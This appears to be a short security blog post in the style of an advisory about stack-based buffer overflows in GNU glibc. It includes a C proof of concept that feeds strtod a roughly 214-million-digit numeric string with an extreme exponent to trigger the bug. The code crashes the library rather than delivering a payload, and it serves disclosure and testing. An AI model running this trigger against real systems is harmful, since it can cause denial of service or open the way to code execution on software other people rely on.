About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition. 

include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EXPONENT "e-2147483649"
#define SIZE 214748364
int
main (void)
{
  char *p = malloc (1 + SIZE + sizeof (EXPONENT));
  if (p == NULL)
    {
      perror ("malloc");
      exit (EXIT_FAILURE);
    }
  p[0] = '1';
  memset (p + 1, '0', SIZE);
  memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT));
  double d = strtod (p, NULL);
  printf ("%a\n", d);
  exit (EXIT_SUCCESS);
}
